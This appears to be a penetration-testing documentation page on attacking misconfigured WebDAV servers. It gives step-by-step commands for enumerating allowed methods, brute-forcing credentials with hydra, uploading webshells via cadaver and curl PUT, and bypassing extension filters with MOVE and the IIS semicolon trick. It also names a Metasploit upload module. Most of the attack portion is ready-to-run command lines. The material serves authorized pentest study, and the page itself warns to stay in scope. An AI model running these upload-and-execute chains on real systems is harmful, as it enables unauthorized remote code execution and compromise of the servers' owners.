> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# WebDAV

WebDAV extends plain HTTP with methods for creating, moving, and deleting files directly on a web server (`PUT`, `MOVE`, `COPY`, `PROPFIND`, `DELETE`, among others). It rides on the same ports as the regular web server, 80 and 443, which means a misconfigured WebDAV endpoint is effectively an unauthenticated (or weakly authenticated) file upload into the webroot, often a straight line to remote code execution.

> [!NOTE]
>
> WebDAV is most commonly found bolted onto IIS or Apache rather than running as its own standalone service. Fingerprinting it is really about spotting which HTTP methods a given path accepts.

> **Enumeration**
>
> Finding WebDAV-enabled paths and working out which methods (PUT, MOVE, etc.) the server actually allows.

> **Exploitation**
>
> Using PUT/MOVE to drop a webshell into the webroot and get it to execute, usually by working around an extension filter.

***

## Discovering WebDAV Paths

WebDAV isn't always mounted at an obvious path. These are worth checking first, ideally folded into a directory fuzzing pass (see [Directory & Subdomain Fuzzing](https://0-x.dev/directory-subdomain-fuzzing.md)) rather than guessed one at a time.

```text theme={null}
/webdav/
/dav/
/WebDAV/
/uploads/
/files/
/_vti_bin/
/sharepoint/
```

***

## Enumeration

A WebDAV-specific Nmap script checks directly for WebDAV support and misconfigurations.

```shellscript theme={null}
nmap -p80,443 --script http-webdav-scan TARGET_IP
```

`OPTIONS` is the fastest manual check, the server's response lists exactly which HTTP methods it accepts on that path. Seeing `PUT`, `MOVE`, or `DELETE` in the `Allow` header is the signal to dig further.

```shellscript theme={null}
curl -X OPTIONS http://TARGET_IP/webdav/ -v
```

`PROPFIND` lists the contents of a WebDAV directory, equivalent to a directory listing for a share you don't otherwise have browse access to.

```shellscript theme={null}
curl -X PROPFIND http://TARGET_IP/webdav/ -u USERNAME:PASSWORD
```

DAVTest automates checking which file extensions a server will actually let you upload and execute, far faster than testing one extension at a time by hand.

```shellscript theme={null}
davtest -url http://TARGET_IP/webdav -auth USERNAME:PASSWORD
```

> [!TIP]
>
> DAVTest can also test the MOVE-based extension bypass automatically with `-move -sendbd auto`, worth running whenever direct PUT with an executable extension gets blocked.

***

## Authentication

WebDAV endpoints are frequently either unauthenticated or protected with weak, reused credentials, worth a brute force pass before assuming it's locked down.

```shellscript wrap theme={null}
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt TARGET_IP http-get /webdav/
```

> [!NOTE]
>
> Apache WebDAV setups commonly store their credentials in `/etc/apache2/users.password` (htpasswd format). If you get local file read or access to the box through another vector, check there, the hashes can often be cracked or the file directly edited with `htpasswd` if you have write access.

***

## File Upload and Execution

**Cadaver (interactive)**

Cadaver gives you an interactive WebDAV session, closer to an FTP client, good for browsing and moving multiple files around.

```shellscript theme={null}
cadaver http://TARGET_IP/webdav/
```

Inside the session:

```shellscript theme={null}
dav:/webdav/> put shell.aspx
dav:/webdav/> get secret.txt
dav:/webdav/> move shell.txt shell.asp
```

**curl (scriptable)**

`PUT` uploads a file directly; useful when you want to script the whole chain or cadaver isn't installed.

```shellscript theme={null}
curl -T 'shell.txt' 'http://TARGET_IP/webdav/shell.txt'
```

`MOVE` renames a file server-side, the trick behind every extension-filter bypass below.

```shellscript wrap theme={null}
curl -X MOVE --header 'Destination:http://TARGET_IP/webdav/shell.aspx' 'http://TARGET_IP/webdav/shell.txt'
```

### Bypassing Extension Filters

If the server blocks a direct `.asp`/`.aspx`/`.php` upload, uploading as a harmless extension first and renaming with `MOVE` after the fact often slips past a filter that only checks the extension at upload time, not at rename time.

```shellscript theme={null}
curl -T 'shell.txt' 'http://TARGET_IP/webdav/shell.txt'
curl -X MOVE --header 'Destination:http://TARGET_IP/webdav/shell.asp' 'http://TARGET_IP/webdav/shell.txt'
```

> [!WARNING]
>
> IIS 5/6 has a well-known quirk: a request for `shell.asp;.txt` gets parsed and executed as `.asp` by the ASP handler, while the trailing `;.txt` is enough to slip past a naive extension blocklist that only checks the end of the filename. Upload as `.txt`, then `MOVE` to the semicolon variant:
>
> ```shellscript theme={null}
> curl -X MOVE --header 'Destination:http://TARGET_IP/webdav/shell.asp;.txt' 'http://TARGET_IP/webdav/shell.txt'
> ```

***

## Metasploit

```shellscript theme={null}
use exploit/windows/iis/iis_webdav_upload_asp
```

Automates the upload-and-execute chain against vulnerable IIS/WebDAV targets, handy once you've already confirmed PUT access works manually.

***

## Quick Reference Tools

> **[Hackviser: WebDAV](https://hackviser.com/tactics/pentesting/services/webdav)**
>
> Reference used for this page.

> **[HackTricks: PUT Method / WebDAV](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/put-method-webdav.html)**
>
> Deeper dive into the PUT/MOVE extension bypass tricks and IIS specifics.

> **[davtest](https://github.com/cldrn/davtest)**
>
> Automates testing which uploaded extensions actually execute.

> **[cadaver](https://web.archive.org/web/20220000000000*/cadaver)**
>
> Interactive command-line WebDAV client.

> [!WARNING]
>
> Only test WebDAV upload/execution against targets explicitly in scope, dropping a webshell is active exploitation, not enumeration, and leaves a very obvious artifact on the target's filesystem.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.